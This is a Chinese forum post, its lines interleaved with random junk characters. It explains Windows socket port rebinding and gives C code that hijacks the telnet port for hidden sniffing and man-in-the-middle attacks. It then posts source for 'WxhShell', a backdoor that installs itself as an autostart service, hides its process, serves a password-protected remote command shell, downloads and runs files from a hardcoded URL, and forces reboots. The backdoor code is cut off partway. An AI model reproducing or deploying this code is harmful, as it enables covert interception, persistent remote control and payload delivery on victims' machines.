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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pbw{EzM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _rmKvSD%  
;k ,@^f8  
  saddr.sin_family = AF_INET; ? PpS4Rd  
e*U6^Xex  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s'$2 }K  
R'" c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (L(n%  
8(L6I%k*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8;# yXlf  
NFR>[L V  
  这意味着什么?意味着可以进行如下的攻击: \N$)Q.M  
+[_3h9BK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !SIk9~rJ  
sV\K[4HG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LWhP d\  
<XN=v!2;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NCl@C$W9q  
d`~~Ww1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5}c8v2R:B  
bvZ:5M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nd7g8P9p  
a,r B7aD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w4M;e;8m[U  
p<,`l)o}~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TwI'XMO;A  
 qI${7  
  #include JYv<QsD  
  #include 1vtC4`  
  #include |q z%6w=  
  #include    f8`dJ5i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n9n)eI)R  
  int main() p@[ fZj  
  { < fV][W  
  WORD wVersionRequested; yc`*zLWh  
  DWORD ret; q6<P\CSHy<  
  WSADATA wsaData; P,F eF'J^  
  BOOL val; -4P `:bF  
  SOCKADDR_IN saddr; o{^`Y   
  SOCKADDR_IN scaddr; KHgn  
  int err; d ez4g  
  SOCKET s; ]}p<P):hO  
  SOCKET sc; ge<D}6GQ  
  int caddsize; ._Ww  
  HANDLE mt; _l"nwEs  
  DWORD tid;   SD<a#S\o  
  wVersionRequested = MAKEWORD( 2, 2 ); ,>8w|951'  
  err = WSAStartup( wVersionRequested, &wsaData ); )^+hm+27v  
  if ( err != 0 ) { e<[ ] W4"A  
  printf("error!WSAStartup failed!\n"); ;_2+Y^Qb  
  return -1; QR_h#N2h  
  } 1j:aGj>{  
  saddr.sin_family = AF_INET; VCJOWU EO1  
   I~&9c/&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  ?r@^9  
Gh@~~\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ak8Y?#"wz  
  saddr.sin_port = htons(23); aT(_c/t.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R n]xxa'  
  { +jyGRSo  
  printf("error!socket failed!\n"); X6 N&:<  
  return -1; 7 nFOV Z  
  } / *PHX@  
  val = TRUE;  bLAHVi<.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2#r4dr0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :tI F*pC  
  { R&a$w8  
  printf("error!setsockopt failed!\n"); {]Hv*{ ]  
  return -1; /-G_0 A2wF  
  } 9dBxCdpu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,&qC R sw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eZN"t~\rX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "H<us?r{  
k)|.<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;i'[c`  
  { Z7RBJK7|.  
  ret=GetLastError(); :GO"bsjL  
  printf("error!bind failed!\n"); LO>42o?/i  
  return -1; %dv?n#Uf  
  } M +r!63T  
  listen(s,2); R&J?X Q  
  while(1) }v4dOGc?  
  { 7B (%2  
  caddsize = sizeof(scaddr); (Bd'Pj]:  
  //接受连接请求 K +3=gBU*w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Dfa3&# #{  
  if(sc!=INVALID_SOCKET) ?%}!_F`h%  
  { #/f~LTE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _#s,$K#  
  if(mt==NULL) VqpC@C$  
  { pDSNI2  
  printf("Thread Creat Failed!\n"); D fzsA4  
  break; \6JOBR  
  } -!:5jfT"  
  } #mA(x@:*  
  CloseHandle(mt); 46Sz#^y P  
  } {G VA4=UAE  
  closesocket(s); s&(;  
  WSACleanup(); y,3ZdY"  
  return 0; IhYR4?e  
  }   ``Q6R2[|)  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;'= cNj  
  { c$%*p (zY  
  SOCKET ss = (SOCKET)lpParam; nGkSS_X  
  SOCKET sc; =@?[.`  
  unsigned char buf[4096]; u0 t lf  
  SOCKADDR_IN saddr; yy7(')wKO  
  long num; voRry6Q;  
  DWORD val; >m,hna]RZ  
  DWORD ret; |uqI}6h.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9ziFjP+1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I /MY4?(T  
  saddr.sin_family = AF_INET; bYnq,JRA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oDz|%N2s|  
  saddr.sin_port = htons(23); E)gD"^rex  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R=lw}jH[Z  
  { 7MLLx#U  
  printf("error!socket failed!\n"); '#V@a  
  return -1; _>R aw  
  } 7RL J  
  val = 100; MQ-u9=ys  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )ffaOS!\  
  { nQjpJ /=  
  ret = GetLastError(); v{VF>qE P  
  return -1; og5VB  
  } ehr-o7](  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *WQ?r&[_'  
  { 6FA+q YSV  
  ret = GetLastError(); pOc2V  
  return -1; SG&,o =I$  
  } ir_XU/ve  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $`E?=L`$  
  { q[,p#uJ]  
  printf("error!socket connect failed!\n"); &uK(. @  
  closesocket(sc); 6*q1%rs:w  
  closesocket(ss); ^{4BcM7eH  
  return -1; ;7QXs39S  
  } Mh.1KI[t  
  while(1) 8(L$a1#5W  
  { 25$_tZP AI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X8$Mzeq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >u&D@7~c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .d]/:T -0  
  num = recv(ss,buf,4096,0); P0,]`w  
  if(num>0) IR6W'vA  
  send(sc,buf,num,0); %8FfP5#  
  else if(num==0) (Xh <F  
  break; AafS6]y  
  num = recv(sc,buf,4096,0); o utJ/~9;  
  if(num>0) ?,>3uD#  
  send(ss,buf,num,0); F@i >l{C  
  else if(num==0) 7__[=)(b2X  
  break; \yr9j$  
  } p%I'd^}.!  
  closesocket(ss); i6'=]f'{  
  closesocket(sc);  GfE>?mG  
  return 0 ; d:(Ex^^  
  } |Ns4^2  
a)QT#.  
.h-mFcjy  
========================================================== d m8t ~38  
^l!SIu  
下边附上一个代码,,WXhSHELL   3%kUj  
"GO!^ZG]  
========================================================== eU1F7LS  
mqZH<.mn  
#include "stdafx.h" hCcI]#S&  
/iU<\+ H  
#include <stdio.h> {dpC;jsW1  
#include <string.h> w}xA@JgQ%  
#include <windows.h> >GGM76vB=,  
#include <winsock2.h> !p&<.H_  
#include <winsvc.h> `Nx@MPo  
#include <urlmon.h> djdTh +>28  
WNGX`V,d  
#pragma comment (lib, "Ws2_32.lib") WHdMP  
#pragma comment (lib, "urlmon.lib") :?6HG_9X  
~)U50. CH  
#define MAX_USER   100 // 最大客户端连接数 &n6{wtBP  
#define BUF_SOCK   200 // sock buffer Z<nNk.G  
#define KEY_BUFF   255 // 输入 buffer lYG`)#T  
7g\v (P  
#define REBOOT     0   // 重启 o$*(N  
#define SHUTDOWN   1   // 关机 <=M5)#  
3 7BSJ   
#define DEF_PORT   5000 // 监听端口 P0l fK}  
4&mY-N7A  
#define REG_LEN     16   // 注册表键长度 JbPkC*.  
#define SVC_LEN     80   // NT服务名长度 LZV-E=`  
q`*.F#/4c  
// 从dll定义API (U:-z=E#1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c RLw)"|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,HZ%q]*:~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |?T=4~b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u cpU $+  
w2 Y%yjCV  
// wxhshell配置信息 |Ea%nghl  
struct WSCFG { Bl b#h  
  int ws_port;         // 监听端口 0/R;g~q@  
  char ws_passstr[REG_LEN]; // 口令 f .O^R~,  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kb%Y%j  
  char ws_regname[REG_LEN]; // 注册表键名 ;ElCWs->\  
  char ws_svcname[REG_LEN]; // 服务名 W=+n |1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hVz yvpw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @_ %RQO_X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cMY}Y [2c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <?.eU<+O`S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A9xe Oy8e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 //63|;EEkl  
g04^M (  
}; (47?lw &  
\CjJa(vV  
// default Wxhshell configuration w}3N!jNDv  
struct WSCFG wscfg={DEF_PORT, EF)BezG5y  
    "xuhuanlingzhe", 5?0<.f,  
    1, R-Edht|{  
    "Wxhshell", ^~~Rto)Y  
    "Wxhshell", wA5Iz{uQO  
            "WxhShell Service", w-K A~  
    "Wrsky Windows CmdShell Service", eFiG:LS7  
    "Please Input Your Password: ", X:i?gRy"  
  1, cW%)C.M  
  "http://www.wrsky.com/wxhshell.exe", [G}dPXD  
  "Wxhshell.exe" <m-(B"F X  
    }; 7Eyi~jes  
KQf WpHwfj  
// 消息定义模块 )> ZT{eF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n41#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $g>bp<9v4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; syX?O'xJ  
char *msg_ws_ext="\n\rExit."; DTezG':  
char *msg_ws_end="\n\rQuit."; &|Gg46P7  
char *msg_ws_boot="\n\rReboot..."; H$I~Vz[\yb  
char *msg_ws_poff="\n\rShutdown..."; r2RJb6  
char *msg_ws_down="\n\rSave to "; +f/ I>9G  
b}qfOgd5  
char *msg_ws_err="\n\rErr!"; ~J].~^[  
char *msg_ws_ok="\n\rOK!"; MLd; UHU  
\IL)~5d  
char ExeFile[MAX_PATH]; >$m<R &  
int nUser = 0; RL` E}:V  
HANDLE handles[MAX_USER]; 8jz>^.-o  
int OsIsNt; qyRN0ZB"A^  
B?j t?  
SERVICE_STATUS       serviceStatus; /|v4]t-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ch"wp/[  
Ow;thNN  
// 函数声明 S^%3Vf}  
int Install(void); 8eB,$;i  
int Uninstall(void); kkl'D!z2g  
int DownloadFile(char *sURL, SOCKET wsh); }g+kU1y  
int Boot(int flag); mF 1f(  
void HideProc(void); 9k6s  
int GetOsVer(void); cO5F=ZxR  
int Wxhshell(SOCKET wsl); );!ND %  
void TalkWithClient(void *cs); \TP$2i%W  
int CmdShell(SOCKET sock); Q:P)g#suc  
int StartFromService(void); tD.#*.7  
int StartWxhshell(LPSTR lpCmdLine); QM(xMq  
kK75(x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }d. X2?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g  *,O  
#L.,aTA<  
// 数据结构和表定义 a>v *  
SERVICE_TABLE_ENTRY DispatchTable[] = m"!SyN}&9?  
{ /r7xA}se^  
{wscfg.ws_svcname, NTServiceMain}, ?}Zo~]7E  
{NULL, NULL} f/Y&)#g>k  
}; [5&k{*}}  
=`+D/ W\[Y  
// 自我安装 yr%[IX]R  
int Install(void) ?M:>2wl  
{ eA& #33  
  char svExeFile[MAX_PATH]; F(VVb(\jd  
  HKEY key; `KZV@t  
  strcpy(svExeFile,ExeFile); N:lE{IvRJ  
_$UJ'W})/  
// 如果是win9x系统,修改注册表设为自启动 *}]#E$  
if(!OsIsNt) { ;.4y@?B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !.UE}^TV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W`x.qumN  
  RegCloseKey(key); ,7wYa&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xKu#O H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); znrO~OK  
  RegCloseKey(key); {F<0e^*  
  return 0; 8&EJ. CQ  
    } 3k'Bje?9~  
  } [63\2{_^v  
} 4. R(`#f  
else { HGYTh"R  
>az~0PeEL  
// 如果是NT以上系统,安装为系统服务 a#]V|1*O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $ W7}Igx#  
if (schSCManager!=0) CU|E-XPW  
{ ?>;b,^4  
  SC_HANDLE schService = CreateService C+' -TLeu  
  ( %Yu~56c-  
  schSCManager, l>;hQh  
  wscfg.ws_svcname, v*V( hMy  
  wscfg.ws_svcdisp, xn`)I>v  
  SERVICE_ALL_ACCESS, P^OmJ;""D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }-fHS;/  
  SERVICE_AUTO_START, BWxfY^,'&6  
  SERVICE_ERROR_NORMAL, :6Z2@9.}w  
  svExeFile, +6uf6&.@~  
  NULL, )h@PRDI_  
  NULL, 6:(s8e  
  NULL, o9}\vN0F  
  NULL, 9\EW~OgTu  
  NULL }.o.*N  
  ); AE:(:U\  
  if (schService!=0) L;0 NR(b!  
  { Dn)yBA%  
  CloseServiceHandle(schService); _. 9 5>`  
  CloseServiceHandle(schSCManager); U,!qNi}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]EHsRd  
  strcat(svExeFile,wscfg.ws_svcname); ?7fqWlB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =@d#@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CcUF)$kz  
  RegCloseKey(key); ;i[JCNiS\  
  return 0; FO/cEu  
    } z%E(o%l8  
  } Tw';;euw  
  CloseServiceHandle(schSCManager); ZbC$Fk,,I&  
} ^N^G?{EV/#  
} sUlf4<_zW  
(m'-1wX.  
return 1; HrE,K\^  
} )n)AmNpq   
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// 自我卸载 S*<Jy(:n  
int Uninstall(void) ou-#+Sdd  
{ ,marNG  
  HKEY key; ZP~H!  
ZV--d'YiEm  
if(!OsIsNt) { sgO au\E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XMS:F]HN  
  RegDeleteValue(key,wscfg.ws_regname); no8\Oees  
  RegCloseKey(key); "_&ZRcd*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bit|L7*14  
  RegDeleteValue(key,wscfg.ws_regname); /Pe xtj<  
  RegCloseKey(key); E0I/]0  
  return 0; Ug+ K:YUq  
  } cD]H~D}M  
} ]){ZL  
} F'|K>!H  
else { rA ={;`  
se.HA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2V]a+Cgk  
if (schSCManager!=0) \i+AMduAo  
{ by+xK~>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LilK6K  
  if (schService!=0) B:X%k/{  
  { hV~M!vFxA  
  if(DeleteService(schService)!=0) { sg=G<50i  
  CloseServiceHandle(schService); B9|s`o)!  
  CloseServiceHandle(schSCManager); Sj I,v+  
  return 0; Pd+*syOM  
  } Vz0(D  
  CloseServiceHandle(schService); D]_6OlIE#'  
  } <cOjtq,0  
  CloseServiceHandle(schSCManager); VHPqEaR  
} eGT&&Y  
} kBqgz| jE%  
^1~lnD~0  
return 1; b_`h2dUq  
} r^6@Zwox]  
{X<g93  
// 从指定url下载文件 : j kO  
int DownloadFile(char *sURL, SOCKET wsh) OCu_v%G 0  
{ gbYM1guiD  
  HRESULT hr; `^#4okg]  
char seps[]= "/"; =~JVU  
char *token; iDcTO}  
char *file; %Mj,\J!  
char myURL[MAX_PATH]; aAe`o2Xs  
char myFILE[MAX_PATH]; <.Zh{"$qo  
OK v2..8  
strcpy(myURL,sURL); J-/w{T8:  
  token=strtok(myURL,seps); 5wW5 n5YS  
  while(token!=NULL) +%j27~ R>D  
  { ,vLQx\m{  
    file=token; cWo>DuW&  
  token=strtok(NULL,seps); 4L:O0Ggz}  
  } ~ S<aIk0l  
hiibPc?I  
GetCurrentDirectory(MAX_PATH,myFILE); z2{y<a9;?  
strcat(myFILE, "\\"); mKu,7nMvF  
strcat(myFILE, file); -BP10-V  
  send(wsh,myFILE,strlen(myFILE),0); Ms+ekY)  
send(wsh,"...",3,0); OIj.K@Kr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V'#R1x"3  
  if(hr==S_OK) 7k,BE2]"  
return 0; q)9n%- YgP  
else %\HE1d5;  
return 1; fZpi+I  
J:"@S%gy%  
} <[n:Ij  
/&|p7  
// 系统电源模块 . q -: 3b  
int Boot(int flag) 3 1c*^ZE.  
{ U2?R&c;b  
  HANDLE hToken; I4%kYp]  
  TOKEN_PRIVILEGES tkp; [K,P)V>K  
}F0<8L6%  
  if(OsIsNt) { =r/8~~=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,,G"EF0A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ML'y`S  
    tkp.PrivilegeCount = 1; =PY{Elf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T16gq-h'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;_SSR8uHv  
if(flag==REBOOT) { \"$P :Uv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "p3<-06  
  return 0; %y9sC1T  
} L7{}`O/g7  
else { 5qH*"i+|s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V*PL_|Q5  
  return 0; OU.}H $x"  
} Q*I8RAfd  
  } s}". po]  
  else { fZ &  
if(flag==REBOOT) { x#3*C|A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u; KM[FmK  
  return 0; LDEc}XXb  
} ~b*]jZwT  
else { /0qbRk i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p~3 x=X4  
  return 0; 0ZwXuq  
} k L6s49  
} /d}"s.3p  
+kd1q  
return 1; I;"pPJ3G  
} d'Bxi"K  
8#JX#<HEo  
// win9x进程隐藏模块 TW>GYGz  
void HideProc(void) w!H(zjv&(  
{ 9vyf9QE;  
UL}wGWaoG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); deaB_cjdI  
  if ( hKernel != NULL ) 6d/Q"As  
  { VQqBo~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G\ F>*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b4dviYI  
    FreeLibrary(hKernel); 2#:p:R8I>  
  } M5w/TN  
=K0%bI  
return; Dq~;h \='  
} v[|W\y@H/3  
3 e'6A^#  
// 获取操作系统版本 I ?Dp *u*  
int GetOsVer(void) o$</At  
{ jr0j0$BF  
  OSVERSIONINFO winfo; d2Q*1Q@u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @k h<b<a4  
  GetVersionEx(&winfo); 4 j=K3m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JqMF9|{H  
  return 1; 6Jq[]l"v  
  else XEA5A.uc  
  return 0; F4G81^H  
} 9o5D3 d K  
In_"iEo,  
// 客户端句柄模块 8 5ET$YV  
int Wxhshell(SOCKET wsl) qJ`:$U  
{ f%.Ngf9  
  SOCKET wsh; z mip  
  struct sockaddr_in client; 4zS0kk;+  
  DWORD myID; =[]6NjKS,  
ciODTq?  
  while(nUser<MAX_USER) 3E*m.jX  
{ [s[ZOi!;I  
  int nSize=sizeof(client); e^\e;>Dh>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gqd|F>  
  if(wsh==INVALID_SOCKET) return 1; R]X 0D.  
vb]kh _  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =W3 K6w  
if(handles[nUser]==0) rWL;pM<  
  closesocket(wsh); MBg[hu%  
else !5lV#w!vb  
  nUser++; an"~n`g  
  } J?3/L&seA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )pHlWi|h  
GqRXNs!  
  return 0; dWQsC|  
} GKo&?Tj)  
o:Kw<z,$H  
// 关闭 socket -&Xv,:'?  
void CloseIt(SOCKET wsh) IyHbl_ P ^  
{ m4@NW*G{  
closesocket(wsh); /_l\7MeI  
nUser--; BJUj#s0$  
ExitThread(0); $!>.h*np  
} P!|Z%H  
PX|@D_%Y=  
// 客户端请求句柄 &$/ #"lW,V  
void TalkWithClient(void *cs) d)vP9vXy  
{ oV:oc,  
D;C';O  
  SOCKET wsh=(SOCKET)cs; XJe=+_K9  
  char pwd[SVC_LEN]; ffmtTJFC5  
  char cmd[KEY_BUFF]; =|agW.l  
char chr[1]; #_35bg4h{  
int i,j; >E<ib[vK[  
RN(I}]]a  
  while (nUser < MAX_USER) { &kIeW;X  
VGQ~~U7}@  
if(wscfg.ws_passstr) { @Iz]:@\cJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uTR^K=Ve  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 5mf  
  //ZeroMemory(pwd,KEY_BUFF); j-ej7  
      i=0; acl<dY6  
  while(i<SVC_LEN) { DD$> 3`  
W\kli';jyC  
  // 设置超时 G@H!D[wd  
  fd_set FdRead; "9s_[e  
  struct timeval TimeOut; V_SH90@)+  
  FD_ZERO(&FdRead); z/{X{+Z  
  FD_SET(wsh,&FdRead); \nZB@u;S  
  TimeOut.tv_sec=8; 12n:)yQy  
  TimeOut.tv_usec=0; &Pr\n&9A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uAPVR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :82h GU  
2 DW @}[G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v3-' G gM  
  pwd=chr[0]; E7A!,A&>  
  if(chr[0]==0xd || chr[0]==0xa) { m]2xOR_  
  pwd=0; {=[>N>"  
  break; 3^y(@XFt  
  } z l r !   
  i++; k3#'g'>yh  
    } 0ae8Xm3J@R  
f(5(V %  
  // 如果是非法用户,关闭 socket p +i 1sY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W91yj:  
} 5X!-Hj  
kMQ /9~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rz"$zc.)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5YD~l(,S1]  
+Dy^4p?o  
while(1) { iT-coI  
*V6| FU  
  ZeroMemory(cmd,KEY_BUFF); o&q>[c  
E]`7_dG+T  
      // 自动支持客户端 telnet标准   }sXTZX  
  j=0; +x"uP  
  while(j<KEY_BUFF) { h+ [6i{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O_:l;D#i  
  cmd[j]=chr[0]; _nbr%PD,  
  if(chr[0]==0xa || chr[0]==0xd) { 3gi)QCsk  
  cmd[j]=0; T0w_d_aS  
  break; 8?+|4:#=*J  
  } .Fn|Okn^gr  
  j++; hk~/W}sI  
    } W" 5nS =d%  
]b4IO4T  
  // 下载文件 $,4h\>1WP  
  if(strstr(cmd,"http://")) { WkTJ M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NHGTV$T`1  
  if(DownloadFile(cmd,wsh)) Rg?6eN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7N9NeSH  
  else )dT@0Ys%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vx_33";S\  
  } [%P#ieD4  
  else { CZ5\Et6r  
%T/@/,7h  
    switch(cmd[0]) { K!-OUm5A  
  ntW@Fm:bw>  
  // 帮助 9|+6@6VY!  
  case '?': { mOE *[S)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3"y 6|e/5  
    break; .9jKD*U|  
  } z]G|)16  
  // 安装 s*izhjjX  
  case 'i': { \/NF??k,jk  
    if(Install()) ukWn@q*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?3f`l 9  
    else LIZB!S@V\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u7!9H<{>P  
    break; V%s g+D2  
    } 8+F5n!  
  // 卸载 WTvUz.Et  
  case 'r': { ot^pxun  
    if(Uninstall()) @5%&wC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "7B}hZ^)W  
    else ?5C'9 V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @UD:zUT)F  
    break; rJ!cma  
    } Z3`EXs  
  // 显示 wxhshell 所在路径 UnhVppnex  
  case 'p': { 3A#Tn7  
    char svExeFile[MAX_PATH]; GShxPH{_j  
    strcpy(svExeFile,"\n\r"); z5>I9R^q;  
      strcat(svExeFile,ExeFile); H71sxek3  
        send(wsh,svExeFile,strlen(svExeFile),0); Wc3z7xK1@  
    break; HK@ij,px  
    } .Bm%  
  // 重启 [xMa^A>p  
  case 'b': { g*Y, .  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y?$DDD  
    if(Boot(REBOOT)) 6}4})B2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DP ? d C`  
    else { Wq1>Bj$J8  
    closesocket(wsh); `3+i.wR  
    ExitThread(0); }47h0 i  
    } ++0)KSvw  
    break; %M(RV_R+6  
    } c3vb~l)  
  // 关机 "s+4!,k  
  case 'd': { r"7n2   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4DA34m(  
    if(Boot(SHUTDOWN)) ~^m Uu`@r  
